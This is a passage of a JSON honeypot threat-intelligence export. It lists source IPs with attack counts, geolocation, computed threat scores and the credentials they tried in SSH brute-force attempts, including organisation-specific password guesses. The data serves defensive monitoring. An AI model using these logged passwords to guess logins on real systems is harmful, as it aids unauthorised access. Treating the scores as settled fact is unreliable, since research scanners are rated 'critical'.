      "country_code": "FR",
      "city": "Paris",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T20:03:18.905000+00:00",
        "last_seen_30d": "2026-04-13T20:07:35.466000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 10
      }
    },
    "137.59.230.50": {
      "attack_count": 20,
      "first_seen": "2026-04-20T02:03:54.850Z",
      "last_seen": "2026-04-20T02:06:04.236Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T02:03:54.850000+00:00",
        "last_seen_30d": "2026-04-20T02:07:14.425000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "152.53.86.127": {
      "attack_count": 20,
      "first_seen": "2026-04-30T16:05:18.490Z",
      "last_seen": "2026-04-30T16:09:56.194Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Austria",
      "country_code": "AT",
      "city": null,
      "asn": 197540,
      "as_org": "netcup GmbH",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T16:05:18.490000+00:00",
        "last_seen_30d": "2026-04-30T16:11:00.112000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 13
      }
    },
    "117.50.75.90": {
      "attack_count": 19,
      "first_seen": "2026-04-21T07:22:28.021Z",
      "last_seen": "2026-04-21T07:59:49.527Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "km"
      ],
      "passwords_attempted": [
        "1QAZ2wsx@@",
        "XXxx123",
        "km"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T07:22:28.021000+00:00",
        "last_seen_30d": "2026-04-21T08:00:55.539000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 12
      }
    },
    "139.162.149.239": {
      "attack_count": 18,
      "first_seen": "2026-04-10T11:39:11.160Z",
      "last_seen": "2026-04-10T16:18:48.813Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "#1234Kelltech",
        "Kelltech2022@",
        "kelltech@123"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:39:11.160000+00:00",
        "last_seen_30d": "2026-04-10T16:19:54.114000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "64.62.197.152": {
      "attack_count": 17,
      "first_seen": "2026-04-09T02:14:18.520Z",
      "last_seen": "2026-04-25T09:02:37.794Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "Accept-Encoding: gzip",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 93.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 269,
        "days_active_30d": 29,
        "ports_targeted_30d": 62,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T01:49:12+00:00",
        "last_seen_30d": "2026-04-30T09:51:21.380000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 154,
        "Honeytrap": 64,
        "Redishoneypot": 22,
        "Cowrie": 17,
        "H0neytr4p": 8,
        "Dionaea": 4
      }
    },
    "45.91.64.6": {
      "attack_count": 16,
      "first_seen": "2026-04-02T02:50:06.551Z",
      "last_seen": "2026-04-26T13:34:40.341Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 214664,
      "as_org": "JSC Buduschee",
      "threat_score": 98.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 28.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 672,
        "days_active_30d": 30,
        "ports_targeted_30d": 94,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-04-01T06:00:14.289000+00:00",
        "last_seen_30d": "2026-04-30T07:06:14.764000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 491,
        "Honeytrap": 110,
        "Redishoneypot": 21,
        "Dionaea": 18,
        "Cowrie": 16,
        "ConPot": 4,
        "Mailoney": 4,
        "ElasticPot": 3,
        "H0neytr4p": 2,
        "Tanner": 2,
        "Honeyaml": 1
      }
    },
    "1.54.35.244": {
      "attack_count": 14,
      "first_seen": "2026-04-27T15:37:20.003Z",
      "last_seen": "2026-04-27T15:45:30.846Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T15:37:20.003000+00:00",
        "last_seen_30d": "2026-04-27T15:46:41.903000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "157.66.80.124": {
      "attack_count": 13,
      "first_seen": "2026-04-10T11:35:53.075Z",
      "last_seen": "2026-04-10T12:39:35.667Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user"
      ],
      "passwords_attempted": [
        "Kelltech1234!",
        "Kelltech2024@"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135918,
      "as_org": "VIET DIGITAL TECHNOLOGY LIABILITY COMPANY",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:35:53.075000+00:00",
        "last_seen_30d": "2026-04-10T12:40:41.341000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 6
      }
    },
    "45.156.129.60": {
      "attack_count": 12,
      "first_seen": "2026-04-30T03:51:24.252Z",
      "last_seen": "2026-04-30T03:52:04.733Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 92.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 196,
        "days_active_30d": 29,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T07:40:09.632000+00:00",
        "last_seen_30d": "2026-04-30T03:53:05.873000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 115,
        "Honeytrap": 59,
        "Cowrie": 12,
        "Dionaea": 6,
        "Redishoneypot": 3,
        "Heralding": 1
      }
    },
    "36.189.207.209": {
      "attack_count": 11,
      "first_seen": "2026-04-22T15:13:27.395Z",
      "last_seen": "2026-04-22T15:16:33.411Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T15:13:27.395000+00:00",
        "last_seen_30d": "2026-04-22T15:26:36.443000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 6
      }
    },
    "116.147.39.113": {
      "attack_count": 10,
      "first_seen": "2026-04-17T14:31:25.921Z",
      "last_seen": "2026-04-17T14:33:29.675Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 140716,
      "as_org": "UNICOM JiangSu WuXi IDC network",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T14:31:25.921000+00:00",
        "last_seen_30d": "2026-04-17T14:47:40.552000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "23.97.62.128": {
      "attack_count": 10,
      "first_seen": "2026-04-20T15:31:45.544Z",
      "last_seen": "2026-04-20T15:37:01.755Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "asdfghjkl",
        "qwertyuiop"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.6,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T03:41:28.038000+00:00",
        "last_seen_30d": "2026-04-20T15:38:06.550000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "66.132.172.134": {
      "attack_count": 8,
      "first_seen": "2026-04-02T23:35:01.211Z",
      "last_seen": "2026-04-02T23:35:37.214Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 96.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 444,
        "days_active_30d": 30,
        "ports_targeted_30d": 58,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T10:44:07+00:00",
        "last_seen_30d": "2026-04-30T10:26:00.740000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 327,
        "Honeytrap": 49,
        "ElasticPot": 26,
        "Ciscoasa": 12,
        "Cowrie": 8,
        "Tanner": 8,
        "Redishoneypot": 6,
        "H0neytr4p": 4,
        "ConPot": 3,
        "Dionaea": 1
      }
    },
    "117.50.245.253": {
      "attack_count": 6,
      "first_seen": "2026-04-02T04:10:05.001Z",
      "last_seen": "2026-04-17T23:55:10.392Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T04:10:05.001000+00:00",
        "last_seen_30d": "2026-04-17T23:56:19.827000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "179.61.192.241": {
      "attack_count": 6,
      "first_seen": "2026-04-28T21:49:06.337Z",
      "last_seen": "2026-04-28T21:49:13.763Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 14670,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T21:49:06.337000+00:00",
        "last_seen_30d": "2026-04-28T21:50:22.209000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "37.238.81.15": {
      "attack_count": 6,
      "first_seen": "2026-04-18T09:41:07.534Z",
      "last_seen": "2026-04-18T11:18:36.443Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Mosul",
      "asn": 203214,
      "as_org": "Hulum Almustakbal Company for Communication Engineering and Services Ltd",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T09:41:07.534000+00:00",
        "last_seen_30d": "2026-04-18T11:19:45.084000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "47.253.246.87": {
      "attack_count": 6,
      "first_seen": "2026-04-10T11:38:52.992Z",
      "last_seen": "2026-04-12T15:34:29.285Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 29.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.3,
        "persistence": 13.3,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 16,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T04:07:15.121000+00:00",
        "last_seen_30d": "2026-04-17T07:01:29.529000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Cowrie": 6,
        "Honeytrap": 5
      }
    },
    "66.132.195.102": {
      "attack_count": 6,
      "first_seen": "2026-04-01T22:37:03.629Z",
      "last_seen": "2026-04-01T22:37:38.181Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 30,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T15:53:42+00:00",
        "last_seen_30d": "2026-04-30T19:53:30.736000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 100,
        "Honeytrap": 16,
        "Ciscoasa": 6,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "ElasticPot": 4,
        "Adbhoney": 2,
        "Dionaea": 2,
        "Dicompot": 1
      }
    },
    "66.132.195.89": {
      "attack_count": 6,
      "first_seen": "2026-04-06T02:32:14.168Z",
      "last_seen": "2026-04-06T02:32:48.713Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 82.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 28,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T00:46:32+00:00",
        "last_seen_30d": "2026-04-30T07:05:43.889000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Honeytrap": 28,
        "Cowrie": 6,
        "Redishoneypot": 6
      }
    },
    "71.6.232.29": {
      "attack_count": 6,
      "first_seen": "2026-04-20T02:56:28.864Z",
      "last_seen": "2026-04-20T18:10:01.922Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 87.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 17.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 30,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T04:14:36.559000+00:00",
        "last_seen_30d": "2026-04-30T06:07:02.407000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 40,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Honeytrap": 3,
        "Dionaea": 1,
        "Honeyaml": 1,
        "Mailoney": 1
      }
    },
    "172.212.167.81": {
      "attack_count": 5,
      "first_seen": "2026-04-13T10:39:07.657Z",
      "last_seen": "2026-04-13T10:39:14.800Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T09:22:19.449000+00:00",
        "last_seen_30d": "2026-04-13T10:40:17.558000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "91.224.92.177": {
      "attack_count": 5,
      "first_seen": "2026-04-15T21:33:44.382Z",
      "last_seen": "2026-04-15T21:33:48.877Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 68.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 1052,
        "days_active_30d": 22,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T00:47:18+00:00",
        "last_seen_30d": "2026-04-22T20:24:53.016000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 776,
        "Honeytrap": 131,
        "Honeyaml": 82,
        "Adbhoney": 56,
        "Cowrie": 5,
        "Dionaea": 2
      }
    },
    "106.105.209.240": {
      "attack_count": 4,
      "first_seen": "2026-04-07T05:19:19.921Z",
      "last_seen": "2026-04-19T12:36:56.148Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Yongkang District",
      "asn": 131602,
      "as_org": "Hsin Yeong An Cable TV Co., Ltd.",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T05:19:19.921000+00:00",
        "last_seen_30d": "2026-04-19T12:38:04.763000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "198.235.24.47": {
      "attack_count": 4,
      "first_seen": "2026-04-20T23:03:28.849Z",
      "last_seen": "2026-04-20T23:03:31.743Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 30,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T23:38:28+00:00",
        "last_seen_30d": "2026-04-30T21:50:05.149000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 16,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "198.235.24.94": {
      "attack_count": 4,
      "first_seen": "2026-04-04T10:59:08.229Z",
      "last_seen": "2026-04-04T10:59:11.545Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 29,
        "ports_targeted_30d": 29,
